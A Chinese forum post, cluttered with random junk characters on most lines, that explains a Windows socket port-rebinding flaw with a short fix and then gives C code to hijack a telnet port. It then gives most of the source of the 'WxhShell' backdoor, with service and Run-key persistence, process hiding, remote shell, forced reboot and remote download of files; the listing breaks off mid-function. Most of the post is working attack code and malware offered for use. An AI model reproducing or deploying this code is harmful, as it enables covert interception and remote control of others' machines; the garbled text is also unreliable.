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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E"'4=_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }J^+66{  
ZRy'lW  
  saddr.sin_family = AF_INET; >)j`Q1Qc\  
rOo |.4w  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); s7Z+--I)L  
_{C =d3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); n40&4n  
P\rA>ZY  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 F97HFt6{  
)c<X.4  
  这意味着什么?意味着可以进行如下的攻击: 3oQ?VP  
NMvNw?]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /8O;Q~a  
UhX)?'J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Zk+c9,q  
`9`T,uJe  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _'}Mg7,V  
q; ?Kmk  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  m\.(-  
2:jWO_V@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6JB* brO  
E4cPCQyeH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 lzbAx  
lJJ`aYDp  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !+)5?o  
&&>Tfzh  
  #include -)%g MD~z1  
  #include x4N*P  
  #include .At^b4#(  
  #include    qa>H@`P  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <hBd #J  
  int main() dcH@$D@~S  
  { ^Z>Nbzr{  
  WORD wVersionRequested; {3qlx1w  
  DWORD ret; &~&oB;uR  
  WSADATA wsaData; cna/?V  
  BOOL val; 8#ZF<B Y  
  SOCKADDR_IN saddr; }8Yu"P${Y  
  SOCKADDR_IN scaddr; V6!1(|  
  int err; PLueH/gC.  
  SOCKET s; 'E)g )@^  
  SOCKET sc; i `7(5L~`  
  int caddsize; v\G+t2{  
  HANDLE mt; |ERf3  
  DWORD tid;   VUUE2k;^  
  wVersionRequested = MAKEWORD( 2, 2 ); o^3X5})sv  
  err = WSAStartup( wVersionRequested, &wsaData ); 0x2[*pJ|IW  
  if ( err != 0 ) { 1EHL8@.M  
  printf("error!WSAStartup failed!\n"); "KKw\i  
  return -1; Vv_lBYV  
  }  V$fn$=  
  saddr.sin_family = AF_INET; s?7"iE  
   `9& ~fWu  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 y[DS$>E  
oC~+K@S  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); VT2f\d[Q  
  saddr.sin_port = htons(23); ^u+#x2$Mg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pC/13|I  
  { aXgngw q  
  printf("error!socket failed!\n"); .YlhK=d4  
  return -1;  _W  
  } oqa8v6yG'  
  val = TRUE; {:TOm0eK  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7srq~;j3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 560`R>  
  { bWg!/K55  
  printf("error!setsockopt failed!\n"); R*l3 zn>  
  return -1; dfMi]rs!<  
  } Lk]W?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6FFM-9*|[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %fIYWu`X  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ` 1v Dp.  
FyWrb+_0v  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9P&{Xhs7  
  { &l~9FE *  
  ret=GetLastError(); ;$g?W"  
  printf("error!bind failed!\n"); Hn}m}A  
  return -1; T_ga?G<  
  } >Q2kXwN  
  listen(s,2); Wg=qlux-  
  while(1) a49t/  
  {  ay,"MJ2  
  caddsize = sizeof(scaddr); UG=],\E2  
  //接受连接请求 cuh Z_l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }oL l? L  
  if(sc!=INVALID_SOCKET) VK% j45D`  
  { A-l[f\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4"s/T0C  
  if(mt==NULL) 9.wZhcqqU  
  { FyqsFTh_  
  printf("Thread Creat Failed!\n"); P-\65]`C  
  break; d 0 mfqP=  
  } IweNe`Z  
  } vu~7Z;y(<j  
  CloseHandle(mt); ot,=.%O  
  } 'DD~xCXE  
  closesocket(s); eQJyO9$G  
  WSACleanup(); \u*[mrX_B:  
  return 0; T'-kG"lb  
  }   D22A)0+_  
  DWORD WINAPI ClientThread(LPVOID lpParam) NEt_UcC  
  { W?yGV{#V(=  
  SOCKET ss = (SOCKET)lpParam; ;v5Jps2^]  
  SOCKET sc; vlo!D9zsV3  
  unsigned char buf[4096]; [sl"\3)  
  SOCKADDR_IN saddr; ^+}~"nvD  
  long num; 6o]j@o8V  
  DWORD val; %&!B2z}  
  DWORD ret; rw#?NI:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 J~}i}|YC>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]\F}-I[  
  saddr.sin_family = AF_INET; = ,c!V  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -/R?D1kOq  
  saddr.sin_port = htons(23); "DSRyD0M  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9P*p{O{_  
  { cd;~60@K  
  printf("error!socket failed!\n"); $9ys! <g  
  return -1; H^JFPvEc  
  } KeWIC,kq  
  val = 100; ]Y3s5#n  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jZ0/@zOf  
  { x\!vr.  
  ret = GetLastError(); =a6e*f  
  return -1; _VJG@>F9-  
  } Hv</Xam  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {j%7/T{  
  { /\U:F  
  ret = GetLastError(); Go !{T  
  return -1; `!C5"i8+i2  
  } PoZxT-U  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) FSb4RuD9  
  { 6SEq 2   
  printf("error!socket connect failed!\n"); !H(V%B%  
  closesocket(sc); Wql,*|  
  closesocket(ss); IJBIO>Z/  
  return -1; kyL]4:@W`  
  } O+=C8  
  while(1) ?&bB?mg\  
  {  g:?p/L  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _+d*ljP)l3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 xzBUm  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :z2G a  
  num = recv(ss,buf,4096,0); ^4=%~Yx  
  if(num>0) c3J12+~;  
  send(sc,buf,num,0); <%m$ V5h  
  else if(num==0) Z L'krV  
  break; :`Xg0J+P  
  num = recv(sc,buf,4096,0); |H;+9(  
  if(num>0) s,~g| I\  
  send(ss,buf,num,0); "]B%V!@  
  else if(num==0) Jm-bE 8b  
  break; ?pV!`vp^{  
  } yUvn h  
  closesocket(ss); !JbWxGN`jn  
  closesocket(sc); -_irkpdC[  
  return 0 ; \Z_29L w=  
  } 3ZhuC".c  
I~ e,']  
b5W(}ka+  
========================================================== X{P=2h#g  
} ^WmCX2a  
下边附上一个代码,,WXhSHELL .QB)Y* z  
8UXtIuQ  
========================================================== "B0I$`~wu  
\I7,1I  
#include "stdafx.h" n4o}}tI  
2I{kLN1TY  
#include <stdio.h> SzyaVBD3  
#include <string.h> 0lS=-am  
#include <windows.h> Nq#B4Zx  
#include <winsock2.h> {tUxRX  
#include <winsvc.h> ?cB26Zrcb  
#include <urlmon.h> {=9"WN    
g])iU9)8  
#pragma comment (lib, "Ws2_32.lib") r?HbApV P  
#pragma comment (lib, "urlmon.lib") `( _N9.>B  
6b\JD.r*{  
#define MAX_USER   100 // 最大客户端连接数 n"f: 6|<  
#define BUF_SOCK   200 // sock buffer QZFH>,d  
#define KEY_BUFF   255 // 输入 buffer TnJNs  
iIc/%< ;  
#define REBOOT     0   // 重启 j {Sbf04  
#define SHUTDOWN   1   // 关机 [m(n-Mu F  
N_?15R7h  
#define DEF_PORT   5000 // 监听端口 Cps' l  
K6N+0#  
#define REG_LEN     16   // 注册表键长度 !H~PF*,hY  
#define SVC_LEN     80   // NT服务名长度 64t:  
!&R|P|7qN}  
// 从dll定义API a=M/0N{!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )jm!^m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z~#d@c\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9]QHwa>_|2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z*YS7 ~  
n,`j~.l-=>  
// wxhshell配置信息 3Hf_!C=g  
struct WSCFG { HEF\TH9  
  int ws_port;         // 监听端口 !%/(a)B$^$  
  char ws_passstr[REG_LEN]; // 口令 %Q zk aXJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,Gy2$mglB  
  char ws_regname[REG_LEN]; // 注册表键名 c6tH'oV  
  char ws_svcname[REG_LEN]; // 服务名 K/z2.Npn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C9n*?Mk:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TsY nsLQY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |J:m{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r)oR `\7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  BF /4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -V=,x3Zew  
r}-vOPn`E  
}; smHQ'4x9  
1Sd<cOEd  
// default Wxhshell configuration pI( H7 (  
struct WSCFG wscfg={DEF_PORT, - @tL]]  
    "xuhuanlingzhe", ;OSEMgB1  
    1, vCn\_Nu;W&  
    "Wxhshell", ~=?^v[T1  
    "Wxhshell", dY`P  
            "WxhShell Service", t(xe*xS  
    "Wrsky Windows CmdShell Service", [@/s! i @  
    "Please Input Your Password: ", e)aH7Jj#  
  1, YqYobL*q/  
  "http://www.wrsky.com/wxhshell.exe", k\A4sj  
  "Wxhshell.exe" jfpbD /  
    }; =1zRm >m  
|l:,EA_v|  
// 消息定义模块 fHXz{,?/w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U _~r0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #2;8/"v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &90pKs  
char *msg_ws_ext="\n\rExit."; E=t^I/f)E  
char *msg_ws_end="\n\rQuit."; JsDT  
char *msg_ws_boot="\n\rReboot..."; UoHNKB73  
char *msg_ws_poff="\n\rShutdown..."; Gk!CU"`sP  
char *msg_ws_down="\n\rSave to "; pd.5  
fhmBKeFdV  
char *msg_ws_err="\n\rErr!"; '}E"M db  
char *msg_ws_ok="\n\rOK!"; s"x(i  
T2 /u7<D-  
char ExeFile[MAX_PATH]; /@0  
int nUser = 0; <"nF`'olV  
HANDLE handles[MAX_USER]; (>`S{L C>s  
int OsIsNt; ]s` cn}d  
LX m@h  
SERVICE_STATUS       serviceStatus; /l;_ xs  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )u]1j@Id  
#=#bv`  
// 函数声明 60r0O5=|Fl  
int Install(void); `Db%:l^e  
int Uninstall(void); [9\Mf4lh#  
int DownloadFile(char *sURL, SOCKET wsh); ~{q; - &  
int Boot(int flag); i7\MVI 8  
void HideProc(void); ;TboS-Y  
int GetOsVer(void); 56H~MnX  
int Wxhshell(SOCKET wsl); oWBjPsQ  
void TalkWithClient(void *cs); 0r]-Ltvl?}  
int CmdShell(SOCKET sock); s"(F({J  
int StartFromService(void); D'Uv7Mis  
int StartWxhshell(LPSTR lpCmdLine); |v:fP;zc  
4Q~++PKBe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4v.i!U# {  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :+%Yul  
XF?"G<2  
// 数据结构和表定义 Y.E]U!i*  
SERVICE_TABLE_ENTRY DispatchTable[] =  4q\gFFV4  
{ 7A{,)Y/w ^  
{wscfg.ws_svcname, NTServiceMain}, p)s *Cw  
{NULL, NULL} DS0:^TLI  
}; e%^PVi  
O[z-K K<  
// 自我安装 dl+:u}9M$  
int Install(void) 6nW]Q^N}  
{ a6hDw'8!  
  char svExeFile[MAX_PATH]; B0,C!??5  
  HKEY key; IQ5'4zQg=  
  strcpy(svExeFile,ExeFile); _A6e|(.ll  
GW0e=Y=LR  
// 如果是win9x系统,修改注册表设为自启动 K'b #}N\  
if(!OsIsNt) { QaSRD/,M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bH.f4-.u>)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fn Pej?f:  
  RegCloseKey(key); 5wb R}`8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y(Tb=:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QQQN}!xPj  
  RegCloseKey(key); v[<;z(7Qk  
  return 0; `9nk{ !X\  
    } AP0z~e  
  } X9o6} %Y  
} )u.%ycfeV  
else { %+L3Xk]m'  
:@^T^  
// 如果是NT以上系统,安装为系统服务 \8/$ZEom  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #f }ORA  
if (schSCManager!=0) _o?[0E  
{ j~#v*qmDU  
  SC_HANDLE schService = CreateService 3j/~XT  
  ( 7$7#z\VWu  
  schSCManager, 2 xt$w%  
  wscfg.ws_svcname, < [q{0,  
  wscfg.ws_svcdisp, sH :_sOV*  
  SERVICE_ALL_ACCESS, fPab%>/T{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yX CJ?  
  SERVICE_AUTO_START, D()tP  
  SERVICE_ERROR_NORMAL, !0Eo9bU%@  
  svExeFile, =[YjIWr#o  
  NULL, B0m2SUC,H  
  NULL, &cT@MV5  
  NULL, `bjPOA(g  
  NULL, CB>*(Mu  
  NULL ]".SW5b_  
  ); 7? qRz  
  if (schService!=0) sYd)r%%AU  
  { d1u6*&@lf  
  CloseServiceHandle(schService); 7xCm"jgP  
  CloseServiceHandle(schSCManager); y hNy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5wa!pR\c  
  strcat(svExeFile,wscfg.ws_svcname); IV|})[n*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c:`CL<xzU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gS.,V!#t  
  RegCloseKey(key); ? ;$f"Wl  
  return 0; 73kI%nNB  
    } 5]Y?NN,GR  
  } ; e)vk|  
  CloseServiceHandle(schSCManager); hGj`IAW  
} z;PF% F  
} T;{"lp.  
G>S3?jGk  
return 1; nOq`Cwh9  
} PbY=?>0z  
\Z$MH`_nu  
// 自我卸载 NkYC(;g  
int Uninstall(void) b}Wm-]|+  
{ husk\  
  HKEY key; q82yh&  
H1hADn  
if(!OsIsNt) { Z1R{'@Y0Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _PGS"O?j  
  RegDeleteValue(key,wscfg.ws_regname); W|V9:A  
  RegCloseKey(key); xGt>X77  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `0Xs!f  
  RegDeleteValue(key,wscfg.ws_regname); 0;2ApYks  
  RegCloseKey(key); +lw*/\7  
  return 0; Sv[$.^mb  
  } \OK"r-IO  
} DcmRvi)&6  
} )X 'ln  
else { <E\vc6n  
nD#uOep9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _TjRvILC  
if (schSCManager!=0) G!g];7PG(  
{ `_ )5K u}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I4MZ JAYk  
  if (schService!=0) !'8jy_<9  
  { VVHL@  
  if(DeleteService(schService)!=0) { s+6tdBvzs  
  CloseServiceHandle(schService); 4x?4[J~u[  
  CloseServiceHandle(schSCManager); ->5[C0: ]  
  return 0; f- ~]  
  } k5eTfaxl  
  CloseServiceHandle(schService); -5<G^AS  
  } Z2&7HTz  
  CloseServiceHandle(schSCManager); Ed>n/)Sm  
} |!uC [=  
} :\"g}AX  
5 IFc"  
return 1; z?.XVk-  
} - e_B  
/R[P sB  
// 从指定url下载文件 EL;OYW(  
int DownloadFile(char *sURL, SOCKET wsh) \Vl)q>K _h  
{ 17yg ~  
  HRESULT hr; ew*;mQd  
char seps[]= "/"; 5~=wia  
char *token;  n[  
char *file; >o! 5)\F  
char myURL[MAX_PATH]; *DPKV$  
char myFILE[MAX_PATH]; o;'-^ LJ  
z i3gE$7  
strcpy(myURL,sURL); Jp +h''t  
  token=strtok(myURL,seps); Ql? >,FZ  
  while(token!=NULL) # &Z1d(!  
  { c{wob%!>  
    file=token; %DuSco"  
  token=strtok(NULL,seps); qHC/)M#L  
  } s5u  
0l~z0pvT  
GetCurrentDirectory(MAX_PATH,myFILE); i z dJ,8  
strcat(myFILE, "\\"); ;Wig${  
strcat(myFILE, file); %^(} fu  
  send(wsh,myFILE,strlen(myFILE),0); Ls{]ohP  
send(wsh,"...",3,0); y.?Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ANXN.V  
  if(hr==S_OK) 2>Sr04Pt  
return 0; n-:n.JX  
else c}D>.x|]  
return 1; z-;yDB:~t  
oL*ZfF3  
} e4Xo(EY &  
yr34&M(a  
// 系统电源模块 9~yp =JOV@  
int Boot(int flag) a\Dw*h?b~  
{ );L+)UV  
  HANDLE hToken; Z~HLa  
  TOKEN_PRIVILEGES tkp; B}npom\tC  
+M.!_2t$2  
  if(OsIsNt) { 'T*h0xX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~0Xx]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m9Hdg^L  
    tkp.PrivilegeCount = 1; 77~l~EX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XMm (D!6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wPH1g*U  
if(flag==REBOOT) { 5c-'m? k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A?Gk8  
  return 0; S")*~)N@  
} YveNsn  
else { ]M/*Beh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J3AS"+]  
  return 0; cT3s{k  
} b"&1l2\ A  
  } U$T (R2@  
  else { 7.7Z|lJ  
if(flag==REBOOT) { e(Ub7L#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o Np4> 7Lk  
  return 0; meR5E?Fm  
} $d%NFc&  
else { 7"$9js2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 21.N+H'  
  return 0; za [;d4<}k  
} # {|F2AM  
} c4xXsUBQk  
A.(xa+z?  
return 1; r_e]sOCb  
} aXyg`CDv  
:qO)^~x  
// win9x进程隐藏模块 vAo|o *  
void HideProc(void) O - N> X  
{ =-8y =  
) GF>]|CG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Dp" xO<PE2  
  if ( hKernel != NULL ) eHH qm^1z  
  { * AjJf)o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cO/.(KBF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R*z:+p}oHy  
    FreeLibrary(hKernel); zqAp7:  
  } ~Is-^k)y  
s+E-M=d0e  
return; #;9n_)  
} !UW{xHu  
_,5)  
// 获取操作系统版本 ?)'+l   
int GetOsVer(void) =%$BFg1a(  
{ r[y3@SE5  
  OSVERSIONINFO winfo; oM)4""|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ICXz(?a  
  GetVersionEx(&winfo); 3 (R]QO`%'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "xY]&  
  return 1; g'{hp:  
  else h?`'%m?_b  
  return 0; <%Afa#  
} y|[YEY U)  
%[7<GcWl  
// 客户端句柄模块 WbDD9ZS  
int Wxhshell(SOCKET wsl) EJZb3  
{ L$<(HQQ J8  
  SOCKET wsh; JBvP {5  
  struct sockaddr_in client; BSbi.@@tp  
  DWORD myID; T1c.ER}17  
jq"iLgEMO  
  while(nUser<MAX_USER) 6qp' _?  
{ NlV,] $L1T  
  int nSize=sizeof(client); F~${L+^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \)m V2r!%  
  if(wsh==INVALID_SOCKET) return 1; $09PZBF,i  
;,F:.<P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CXfPC[o  
if(handles[nUser]==0) 3QO*1P@q  
  closesocket(wsh); 6I,4 6 XZ-  
else iH[ .u{h  
  nUser++; #ZvDf5A  
  } T *8rR"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Uv"O'Z  
[^GXHE=  
  return 0; TBp$S=_**  
} rytaC(  
Af{K#R8!  
// 关闭 socket H@!kgaNF  
void CloseIt(SOCKET wsh) v^QUYsar  
{ b^I(>l-  
closesocket(wsh); GMRFZw_M  
nUser--; RFq&#3f$  
ExitThread(0); qGPIKu  
} #Mmr{4m  
;H:+w\?8f$  
// 客户端请求句柄 >Lr ud{  
void TalkWithClient(void *cs) Y<oDv`a Z0  
{ T~(AXwaJ  
_|%l) KO  
  SOCKET wsh=(SOCKET)cs; " .:b43Z  
  char pwd[SVC_LEN]; `SGI Qrb  
  char cmd[KEY_BUFF]; ($A0u mW1%  
char chr[1]; _ BUD~'Q5  
int i,j; qD/X%`>Q  
.B|a.-oA4  
  while (nUser < MAX_USER) { M<"H1>q@  
e[AwR?=  
if(wscfg.ws_passstr) { xfJ&11fG2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K{#1O=Gi  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]iL>Zxex  
  //ZeroMemory(pwd,KEY_BUFF); Msea kF  
      i=0; %~A$cc  
  while(i<SVC_LEN) { a]mPc^h  
<.qhW^>X  
  // 设置超时 R" '=^  
  fd_set FdRead; :k*3?*'K  
  struct timeval TimeOut; -3 2?]LN}  
  FD_ZERO(&FdRead); 3om4q2R  
  FD_SET(wsh,&FdRead); w` ;>+_ E7  
  TimeOut.tv_sec=8; ZyQ+}rO  
  TimeOut.tv_usec=0; .qjdi`v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #O2e[ E-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +rA:/!b)Y  
;^`WX}]C(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uEPdL':}2  
  pwd=chr[0]; z'+k]N9Q^  
  if(chr[0]==0xd || chr[0]==0xa) { eED@Z/~6  
  pwd=0; 2%F!aeX  
  break; N)H _4L  
  } ek3,ss3  
  i++; ^w*$qzESy  
    } ehCZhi~  
uk)6%  
  // 如果是非法用户,关闭 socket =u^{Jvl[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Sd0y=!Pj=  
} hd E?%A  
gQ@fe3[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [hT|]|fJS;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o/Cu^[an  
-WX{ y Ci  
while(1) { ?6[X=GeUs  
c3NUJ~>=y  
  ZeroMemory(cmd,KEY_BUFF); p0S;$dH\ D  
C@8WY  
      // 自动支持客户端 telnet标准   .oR_r1\y  
  j=0; `LID*uD;_  
  while(j<KEY_BUFF) { R?K[O   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LG qg0 (  
  cmd[j]=chr[0]; Mkc|uiT   
  if(chr[0]==0xa || chr[0]==0xd) { D>~S-]  
  cmd[j]=0; 4H\+vJPM  
  break; 9uL="z$\  
  } yF#:*Vz>  
  j++; ==z,vxr  
    } Z$'483<  
Ao/KB_4f*Q  
  // 下载文件 aAX(M=3  
  if(strstr(cmd,"http://")) { 9WH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R#QcQx  
  if(DownloadFile(cmd,wsh)) WO=,NQOw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i[wEH1jR  
  else ;.g <u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M9aVE)*!I  
  } xep!.k x  
  else { %!;6h^@  
w[V71Iej  
    switch(cmd[0]) { b&$sY!iU  
  GG@&jcp7  
  // 帮助 *7yu&a8  
  case '?': { JZS#Q\JN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8eVQnp*  
    break; HAi'0%"  
  } C"We>!  
  // 安装 Ehv*E  
  case 'i': { lVmm`q6n9  
    if(Install()) ] _ON\v1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :$#"; t|  
    else 9W[ ~c"Ku  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Td`0;R'<}c  
    break; dGrm1w  
    } [MkXQwY  
  // 卸载 5ma*&Q8+  
  case 'r': { vV?=r5j  
    if(Uninstall()) )Z2l*fV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dgIEc]#pH  
    else 0y"Ra%Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u=5~^ 9  
    break; %Z"I=;=nxI  
    } #CaT0#v  
  // 显示 wxhshell 所在路径 Yc*Ex-s  
  case 'p': { 3]X~bQAw  
    char svExeFile[MAX_PATH]; ?oc#$fcQ~  
    strcpy(svExeFile,"\n\r"); t*&O*T+fgy  
      strcat(svExeFile,ExeFile); >**7ck  
        send(wsh,svExeFile,strlen(svExeFile),0); A+N%A] 2  
    break; |Ir&C[QS{y  
    } pd[?TyVK;  
  // 重启 kdX ]Afyj  
  case 'b': { {I2qnTN_a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PJCRvs|X  
    if(Boot(REBOOT)) f[b x|6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e"sz jY~V  
    else { o$=D`B  
    closesocket(wsh); iA^GA8dn  
    ExitThread(0); XA$Z 7_gu3  
    } b\U p(]  
    break; @\=% M^bx  
    } HZ#<+~J  
  // 关机 f_&bwfbo  
  case 'd': { ~S],)E1w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k3 65.nc  
    if(Boot(SHUTDOWN)) \*C}[D  
